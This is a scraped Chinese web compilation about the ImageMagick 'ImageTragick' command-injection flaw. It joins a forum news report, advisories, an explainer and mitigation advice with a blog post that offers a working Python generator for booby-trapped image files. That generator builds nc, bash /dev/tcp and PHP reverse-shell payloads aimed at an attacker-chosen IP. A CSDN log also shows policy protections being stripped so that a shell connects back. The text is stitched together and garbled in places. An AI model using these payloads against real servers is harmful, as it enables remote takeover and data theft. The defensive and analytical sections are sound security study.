检查是否有imagemagick 漏洞漏洞

攻击者在ImageTragick中发现了新的漏洞 - 看雪安全论坛
注册日期: Mar 2016
现金: 155 Kx
获感谢文章数:0获会员感谢数:0
, 14:32:27
攻击者在ImageTragick中发现了新的漏洞
新闻链接:/news/detail/3035.html
新闻时间:&13:15:31
新闻正文:据了解,安全研究人员在图像处理软件ImageMagick中发现了一个远程代码执行漏洞。而就在上周,这条消息变立刻传遍了全世界。恶意攻击者也立刻开始行动,并尝试在实际攻击中利用这一漏洞。根据一些相关研究报告提供的信息,这个漏洞具有非常大的潜力,攻击者可以利用这个漏洞来创建后门,或者利用命令控制台在目标服务器中执行shell代码。
ImageMagick是一款免费的图片处理软件,它可以创建,编辑,并且合成多种格式的图片。除此之外,用户还可以利用这款软件来对图片进行切割,颜色替换,以及实现各种复杂的特殊效果。ImageMagick是一款开源软件,可运行于大多数主流的操作系统之中。实际上,ImageMagick中的大多数功能都来源于命令行工具。
Mail.Ru公司是俄罗斯的一家互联网服务公司,该公司的安全分析专家Nikolay&Ermishkin是第一个发现了这个漏洞的人。&他在接受的电子邮件采访时,对这一漏洞所能产生的安全威胁进行了详细的描述。
ImageMagick软件之所以会存在这样一个漏洞,是因为程序的user-added.mvg文件没有对输入参数进行足够有效地过滤处理。”.mvg”文件格式是ImageMagick程序的专用文件格式,它允许网站,博客,以及内容管理系统来处理并修改用户所添加的图片文件(例如用户上传的头像图片)。攻击者可以制作一个恶意的.mvg文件,并将其伪装成.jpgs图片以及其他格式的图片文件,然后利用这个漏洞,他们就可以在目标计算机中功能实现任意代码执行了。
Ermishkin告诉,在此之前,“漏洞猎人”Stewie展示了他能够利用.mvg文件来破解Mail.Ru公司的服务,并从公司的网络系统中读取文件。而他也正是在看完了Stewie的演示之后,才发现了这款图片处理软件。据了解,该公司在当天晚上就修复了这个漏洞,但是Ermishkin认为,这种类型的攻击方法是非常有趣的,所以他才决定花上几个晚上的时间来研究这个漏洞,并尝试寻找能够利用这一漏洞的其他方法。
在他成功发现了几个小漏洞之后,他便发现了这个存在于ImageTragick中的远程代码执行(RCE)漏洞,而这个漏洞的利用过程是十分简单的。Ermishkin解释称:“在公司发布漏洞补丁之前,你可以将这样的一张图片下载至文件托管服务器中,或者你也可以将其作为电子邮件附件发送给目标服务器,这样我们就可以在对方的服务器中执行任意代码了。你不需要具备专业的黑客技术,甚至连一个小孩子都可以将图片下载到这些地方。”
攻击者目前仍然可以利用这个漏洞来对没有及时更新升级的ImageMagick进行攻击,而且有几名IT研究人员已经对攻击者的攻击方式进行了非常详细的讲解了。(ImageMagick已经为6.9.3.10至7.0.1.1版本的软件提供了更新补丁,公司建议用户删除旧版本的ImageMagick,并下载和使用新版本软件。)
Daniel&Cid是Sucuri公司的创始人兼首席技术官,他在接受的邮件采访时表示:“从安全研究人员的分析结果来看,攻击者似乎更倾向于利用这个漏洞来攻击线上论坛网站,因为这些网站通常都会允许用户注册并上传自定义的头像图片,而此时就得使用ImageTragick了。攻击者会尝试利用bash创建一个逆向shell脚本,而且他们还会尝试在服务器中下载恶意后门,并以此来获取到网站系统的访问权限。”除此之外,Cid还表示了他对此事的担忧:“网络犯罪分子可以利用这些论坛网站来窃取用户的个人数据,电子邮件,以及用户密码等信息。这将有可能导致用户其他的网络服务账号发生密码泄漏,而且攻击者还可以利用恶意软件和垃圾邮件来进行攻击。”
Sucuri公司在其发布的研究报告中提到了一个非常有趣的事情,安全研究人员发现,攻击者会使用机器人来扫描能够上传多个文件的URL链接。当机器人扫描到了一个URL地址之后,攻击payload能够向其发送一个伪装成.jpg图片的恶意软件。而这个恶意文件能够创建一个逆向shell脚本,攻击者可以利用这个脚本来与C&C服务器(该服务器的IP地址所在地位于台湾省)进行通信。
另外,&CloudFlare公司还报道了ImageTragick攻击者目前最常使用的恶意payload。CloudFlare公司的程序员John&Graham-Cumming在接受的采访时表示:“他们能够利用这种payload来完成对攻击目标的侦查和测试。他们会对某些特定的网站进行攻击和测试,以验证该网站是否存在漏洞。完成了这一步操作之后,他们还会在目标服务器中下载更加复杂的恶意软件,并进行下一步的攻击活动。”
除此之外,CloudFlare公司的安全研究人员还发现了一些其它的远程访问payload,其中就包括一个能够下载并执行Python代码的payload。攻击者可以利用这个payload,并通过shell程序直接与受感染的网站web服务器进行通信。在一个攻击实例中,攻击者将python程序隐藏在了目标计算机的内存之中,而不是计算机的硬盘上,因为安全防护软件会直接检测到硬盘中的恶意文件。而且Graham-Cumming还表示,在ImageTragick公司公布了关于这一漏洞的信息之后,CloudFlare便立刻开始对恶意的“.mvg”payload进行扫描和监测,并检测相关的攻击行为。
Ermishkin说到:“两年前,研究人员还曾开玩笑地说,是时候应该在ImageMagick中寻找一下漏洞了。而现在,ImageMagick中的远程代码执行漏洞已经成为了既定的事实。程序的开发人员在设计该项目的架构时,就应该考虑到这种攻击发生的可能性。因此,我们应该在沙箱环境中处理接收到的用户数据,这样才能防止攻击者利用这一漏洞来对你的网站服务进行攻击。”
注册日期: Nov 2013
现金: 35 Kx
获感谢文章数:0获会员感谢数:0
, 23:25:11
imagemagick&命令注入漏洞(CVE-)
发布日期:
更新日期:
受影响系统:
ImageMagick&ImageMagick
CVE(CAN)&ID:&CVE-
ImageMagick是一款Unix/Linux平台下开源的图像查看和编辑工具。
ImageMagick在filenames中使用了(|)存在命令注入漏洞,可导致以当前用户权限执行任意命令。
&*来源:Bob&Friesenhahn&
厂商补丁:
ImageMagick
-----------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://www.imagemagick.org/
https://www.debian.org/security/&
http://seclists.org/oss-sec/
相关阅读:
利用ImageMagick绘制三基色原理图&/Linux/07.htm
Linux下PHP支持ImageMagick和MagicWandForPHP&/Linux/39.htm
Linux下用ImageMagick玩图像魔术&/Linux/21.htm
Linux下ImageMagick和MagicWand&For&PHP的安装&/Linux/25.htm
Linux下ImageMagick和JMagick的安装整理&/Linux/49.htm
ImageMagick&的详细介绍:请点这里
ImageMagick&的下载地址:请点这里
本文永久更新链接地址:/Linux/987.htm
您不可以发表主题
您不可以回复帖子
您不可以上传附件
您不可以编辑自己的帖子
论坛论坛启用
用户控制面板
会员在线状态
CrackMe攻击篇,分析文章提交区
『看雪众测/众包』
『求助问答』
『经典问答』
『资料导航』
『软件调试逆向』
『密码学』
『编程技术』
『C32Asm』
『MDebug』
『安全工具开发』
『加壳与脱壳』
『CrackMe&ReverseMe』
『资源下载』
『Android 安全』
『Android 开发』
『iOS安全』
『WEB安全』
『漏洞分析』
『外文翻译』
『招聘专区』
『职业生涯』
『15PB培训』
『麦洛克菲培训』
『茶余饭后』
『安全资讯』
『论坛活动』
6)PEDIY Crackme竞赛2009
7)看雪十周年专版
8)腾讯公司2010软件安全竞赛
9)2011 Exploit Me竞赛
『图书项目版』
《加密与解密(第三版)》
《C++反汇编与逆向分析技术揭秘》
《Android软件安全与逆向分析》
『论坛版务』
所有时间均为北京时间, 现在的时间是 .
&&& 看雪学院()
| 提供带宽资源
|&微信公众帐号:ImageMagick漏洞EXP简易生成脚本
7个月前 (05-09)
前几天看到爆出了关于ImageMagick的远程执行漏洞(CVE-),所以为了核心成员使用,写了一个exp生成脚本供大家使用。(免责声明,出了事我不管)
总体来说这个脚本有三个功能
生成针对NC反弹
生成针对bash反弹
生成针对php反射
服务端都可以使用nc侦听,会反弹shell。生成图片默认exp.png 后缀可以自由更改为其他的图片格式
什么叫做shell反弹?
reverse shell,又称shell反弹或shell反射,就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。通常用于被控端因防火墙受限、权限不足、端口被占用等情形。
作者:莫旭友
链接:/question//answer/
来源:知乎,稍有改动
以上,放出源代码。
文件下载:
# -*-coding:utf-8-*-
#!/usr/bin/env python
#imagemagic_exp.py
import argparse
class payload(object):
""" building payload,you must input shell typle and server ip and port
CVE- - Insufficient shell characters filtering leads to
(potentially remote) code execution
Insufficient filtering for filename passed to delegate's command allows
remote code execution during conversion of several file formats
def __init__(self, shelltype,ip,port):
#super(_paload, self).__init__()
self.shelltype = shelltype
self.ip = ip
self.port =port
self.nc='nc -e /bin/sh' + self.ip+ ' ' + self.port
self.bash= 'bash -i && /dev/tcp/' + self.ip + '/' + self.port +' 0&%1'
self.php="php -r '$sock=fsockopen(%s,%s);exec(\"/bin/sh -i &&3 &&3 2&&3\");'" %(self.ip,self.port)
self.shell_dict={
'nc': self.nc,
'bash': self.bash,
'php': self.php
def payloadbuild(self):
push graphic-context
viewbox 0 0 640 480
fill 'url(/image.jpg"|bash -i && /dev/tcp/127.0.0.1/")'
pop graphic-context
if self.shelltype =='nc':
self.shell =self.shell_dict['nc']
if self.shelltype=='bash':
self.shell =self.shell_dict['bash']
if self.shelltype=='php':
self.shell =self.shell_dict['php']
self.shellcode="fill 'url(/image.jpg\"|"+self.shell+ " \")\' "
payload =[]
payload.append('push graphic-context')
payload.append('viewbox 0 0 640 480')
payload.append(self.shellcode)
payload.append('pop graphic-context')
return payload
#touch a jpg image
def newimage(self):
with open('exp.jpg', 'w') as file:
for item in self.payloadbuild():
file.write(item+'\n')
if __name__=='__main__':
parse =argparse.ArgumentParser()
parse.add_argument("--nc",help="生成可执行 nc反射的图片",action="store_true")
parse.add_argument("--bash",help="生成可执行bash反射的图片",action="store_true")
parse.add_argument("--php",help="生成可执行php射的图片",action="store_true")
parse.add_argument("--ip",help="反弹shell 的 ip",default='127.0.0.1')
parse.add_argument("--port",help="反弹shell的port",default='8888')
args=parse.parse_args()
if args.nc:
test=payload('nc', args.ip, args.port)
test.newimage()
if args.bash:
test=payload('bash', args.ip, args.port)
test.newimage()
if args.php:
test=payload('php', args.ip, args.port)
test.newimage()
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172
# -*-coding:utf-8-*-#!/usr/bin/env python#imagemagic_exp.py import argparse class payload(object): """ building payload,you must input shell typle and server ip and port
CVE- - Insufficient shell characters filtering leads to
(potentially remote) code execution
Insufficient filtering for filename passed to delegate's command allows
remote code execution during conversion of several file formats """ def __init__(self, shelltype,ip,port):
#super(_paload, self).__init__()
self.shelltype = shelltype
self.ip = ip
self.port =port
self.nc='nc -e /bin/sh' + self.ip+ ' ' + self.port
self.bash= 'bash -i && /dev/tcp/' + self.ip + '/' + self.port +' 0&%1'
self.php="php -r '$sock=fsockopen(%s,%s);exec(\"/bin/sh -i &&3 &&3 2&&3\");'" %(self.ip,self.port)
self.shell_dict={
'nc': self.nc,
'bash': self.bash,
'php': self.php
} def payloadbuild(self):
push graphic-context
viewbox 0 0 640 480
fill 'url(/image.jpg"|bash -i && /dev/tcp/127.0.0.1/2333 0&&1")'
pop graphic-context
if self.shelltype =='nc':
self.shell =self.shell_dict['nc']
if self.shelltype=='bash':
self.shell =self.shell_dict['bash']
if self.shelltype=='php':
self.shell =self.shell_dict['php']
self.shellcode="fill 'url(/image.jpg\"|"+self.shell+ " \")\' "
payload =[]
payload.append('push graphic-context')
payload.append('viewbox 0 0 640 480')
payload.append(self.shellcode)
payload.append('pop graphic-context')
return payload #touch a jpg image def newimage(self):
with open('exp.jpg', 'w') as file:
for item in self.payloadbuild():
file.write(item+'\n') if __name__=='__main__': parse =argparse.ArgumentParser() parse.add_argument("--nc",help="生成可执行 nc反射的图片",action="store_true") parse.add_argument("--bash",help="生成可执行bash反射的图片",action="store_true")
parse.add_argument("--php",help="生成可执行php射的图片",action="store_true") parse.add_argument("--ip",help="反弹shell 的 ip",default='127.0.0.1') parse.add_argument("--port",help="反弹shell的port",default='8888') args=parse.parse_args() if args.nc:
test=payload('nc', args.ip, args.port)
test.newimage() if args.bash:
test=payload('bash', args.ip, args.port)
test.newimage() if args.php:
test=payload('php', args.ip, args.port)
test.newimage()
我真的不是自黑!
最热点击文章
微信公众号
扫描下方二维码或者搜索二维码下方的微信公众号深入浅析ImageMagick命令执行漏洞_imagemagick 漏洞_词汇网
深入浅析ImageMagick命令执行漏洞
责任编辑:词汇网 发表时间: 18:15:49
ImageMagick是一个功能强大的开源图形处理软件,可以用来读、写和处理超过90种的图片文件,包括流行的JPEG、GIF、 PNG、PDF以及PhotoCD等格式。接下来通过本文给大家浅析ImageMagick命令执行漏洞的知识,一起看看吧 00 前言什么是ImageMagick?ImageMagick是一个功能强大的开源图形处理软件,可以用来读、写和处理超过90种的图片文件,包括流行的JPEG、GIF、 PNG、PDF以及PhotoCD等格式。使用它可以对图片进行切割、旋转、组合等多种特效的处理。由于其功能强大、性能较好,并且对很多语言都有拓展支持,所以在程序开发中被广泛使用。许多网站开发者喜爱使用ImageMagick拓展来做web上的图片处理工作,比如用户头像生成、图片编辑等。01 漏洞描述ImageMagick是一款开源图片处理库,支持PHP、Ruby、NodeJS和Python等多种语言,使用非常广泛。包括PHP imagick、Ruby rmagick和paperclip以及NodeJS imagemagick等多个图片处理插件都依赖它运行。当攻击者构造含有恶意代码得图片时,ImageMagick库对于HTTPPS文件处理不当,没有做任何过滤,可远程实现远程命令执行,进而可能控制服务器。02 影响程度攻击成本:低危害程度:高影响范围:ImageMagick 6.9.3-9以前的所有版本03 漏洞分析命令执行漏洞是出在ImageMagick对https形式的文件处理的过程中。ImageMagick之所以支持那么多的文件格式,是因为它内置了非常多的图像处理库,对于这些图像处理库,ImageMagick给它起了个名字叫做”Delegate”(委托),每个Delegate对应一种格式的文件,然后通过系统的system()命令来调用外部的lib进行处理。调用外部lib的过程是使用系统的system命令来执行的,导致命令执行的代码。ImageMagick委托的默认配置文件: /etc/ImageMagick/delegates.xml具体代码请参考:Github-ImageMagick我们定位到https委托得那一行:" "可以看到,command定义了它对于https文件处理时带入system()函数得命令:"wget" -q -O "%o" "https:%M"。wget是从网络下载文件得命令,%M是一个占位符,它得具体定义在配置文件中如下:%i input image filename%o output image filename%u unique temporary filename%Z unique temporary filename%# input image signature%b image file size%c input image comment%g image geometry%h image rows (height)%k input image number colors%l image label%m input image format%p page number%q input image depth%s scene number%w image columns (width)%x input image x resolution%y input image y resolution可以看到%m被定义为输入的图片格式,也就是我们输入的url地址。但是由于只是做了简单的字符串拼接,没有做任何过滤,直接拼接到command命令中,所以我们可以将引号闭合后通过"|",”`”,”&”等带入其他命令,也就形成了命令注入。比如我们传入如下代码:"|ls “-al则实际得system函数执行得命令为:“wget” -q -O “%o” “ "|ls “-al”这样,ls -al命令成功执行。04 漏洞利用这个漏洞得poc由老外给出得,如下:push graphic-contextviewbox 0 0 640 480fill "url(https://"| ")"pop graphic-contextpush和pop是用于堆栈的操作,一个进栈,一个出栈;viewbox是表示SVG可见区域的大小,或者可以想象成舞台大小,画布大小。简单理解就是根据后面得参数选取其中得一部分画面;fill url()是把图片填充到当前元素内;在其中我们使用了fill url()的形式调用存在漏洞的https delegate,当ImageMagick去处理这个文件时,漏洞就会被触发。附:ImageMagick默认支持一种图片格式,叫mvg,而mvg与svg格式类似,其中是以文本形式写入矢量图的内容,允许在其中加载ImageMagick中其他的delegate(比如存在漏洞的https delegate)。并且在图形处理的过程中,ImageMagick会自动根据其内容进行处理,也就是说我们可以将文件随意定义为png、jpg等网站上传允许的格式,这大大增加了漏洞的可利用场景。利用过程:创建一个exploit.png文件,包含以下内容:push graphic-contextviewbox 0 0 640 480fill "url(/image.jpg"|ls "-al)"pop graphic-context执行命令:convert exploit.png 1.png(后面的是convert的参数)05 漏洞修复升级到最新版本配置/etc/ImageMagick/policy.xml的方式来禁止https、mvg这些delegate,或者直接在配置文件删除相应的delegate以上所述是小编给大家介绍的ImageMagick命令执行漏洞的知识,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对词汇网网站的支持!
上一集:没有了 下一集:
相关文章:&&&&&&&&&&
最新添加资讯
24小时热门资讯
附近好友搜索ImageMagick漏洞分析与防护方案
CVE- 文件存储更改
此漏洞属于任意文件更改,可以利用mvg语法的msl协议,使用效果类似于linux下的move命令。
在特定条件下,如对文件后缀进行了过滤,但是可以上传文件,并且知道文件的绝对路径,此时再使用ImageMagick库就会产生问题,有可能产生服务器被拿下的风险。
CVE- 任意文件读取
此漏洞属于任意文件读取,可以利用mvg语法的label协议,读取当前权限下的服务器的任意文件。
ImageMagick版本升级到6.9.3-10(请跟踪后续版本升级,会修复其他安全问题)。
目前厂商已经发布了升级补丁修复了安全问题,请到厂商主页下载:
http://legacy.ImageMagick.org/script/binary-releases.php
验证文件的&magic bytes&,确定为期望的图片文件格式,具体文件格式的&magic bytes&参考如下网站:
https://en.wikipedia.org/wiki/List_of_file_signatures
使用策略文件禁用存在漏洞的编码器,全局策略文件通常位于&/etc/ImageMagick&,增加如下内容:
【声明】:黑吧安全网()登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱,我们会在最短的时间内进行处理。
上一篇:【】【】安全(29)
我的环境是centos7 ,php是PHP 5.4.16,ImageMagick是6.7.8-9正好在影响范围之内,但是官方还是对其官网上所有的安装包进行了修复,所以现在下载下来的任何版本的ImageMagick都是不存在漏洞的,
我们看看官方都是怎么修复的,并且还原漏洞现场
漏洞原理在:https://jiji262.github.io/wooyun_articles/drops/CVE--%20ImageMagick%20%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E5%88%86%E6%9E%90.html
首先安装ImageMagick:
参考:/article/91f5db1be6ded11c7f05e3d3.html
yum install ImageMagick
yum install ImageMagick-devel
yum install php-pear
yum -y install php-devel
yum install gcc
pecl install imagick (这个之内在php 5.3的版本以上才能安装成功)
&echo extension=imagick.so && /etc/php.ini& (这个是将ImageMagick加载到php中)
这个时候我们vim test.mvg
push graphic-context
viewbox 0 0 640 480
fill 'url(/image.jpg&|bash -i && /dev/tcp/1.1.1.1/&)'
pop graphic-context
保存,然后
converttest.mvg test.png
发现没有权限
/etc/ImageMagick/policy.xml
发现在配置文件里面已经加入了修复配置:
&policymap&
&policy domain=&coder& rights=&none& pattern=&EPHEMERAL& /&
&policy domain=&coder& rights=&none& pattern=&URL& /&
&policy domain=&coder& rights=&none& pattern=&HTTPS& /&
&policy domain=&coder& rights=&none& pattern=&MVG& /&
&policy domain=&coder& rights=&none& pattern=&MSL& /&
&/policymap&
我删掉这些
然后再运行一下,依然不成功,我继续查看:/etc/ImageMagick/delegates.xml
修复前配置文件的https部分:
&delegatedecode=&https& command=&&curl& -s -k-o &%o& &https:%M&&/&
&delegatedecode=&https& command=&&curl& -s -k-o &%o& &https:%F&&/&
红色部分就是官方修复的位置
将配置文件修改之后:
converttest.mvg test.png
成功出发漏洞,反弹一个shell回本机
写一个php文件来证明这个漏洞:
$thu= new Imagick();
$thu-&readImage('test.mvg');
$thu-&writeImage('KKKK.png');
$thu-&clear();
$thu-&destroy();
unlink(&KKKK.png&);
用phptest.php
来执行一下
成功触发,并且反弹
参考知识库
* 以上用户言论只代表其个人观点,不代表CSDN网站的观点或立场
访问:34785次
积分:1130
积分:1130
排名:千里之外
原创:79篇
评论:22条
(1)(6)(4)(9)(7)(1)(1)(4)(3)(7)(3)(4)(8)(14)(8)(5)(2)

我要回帖

更多关于 imagemagick 的文章

 

随机推荐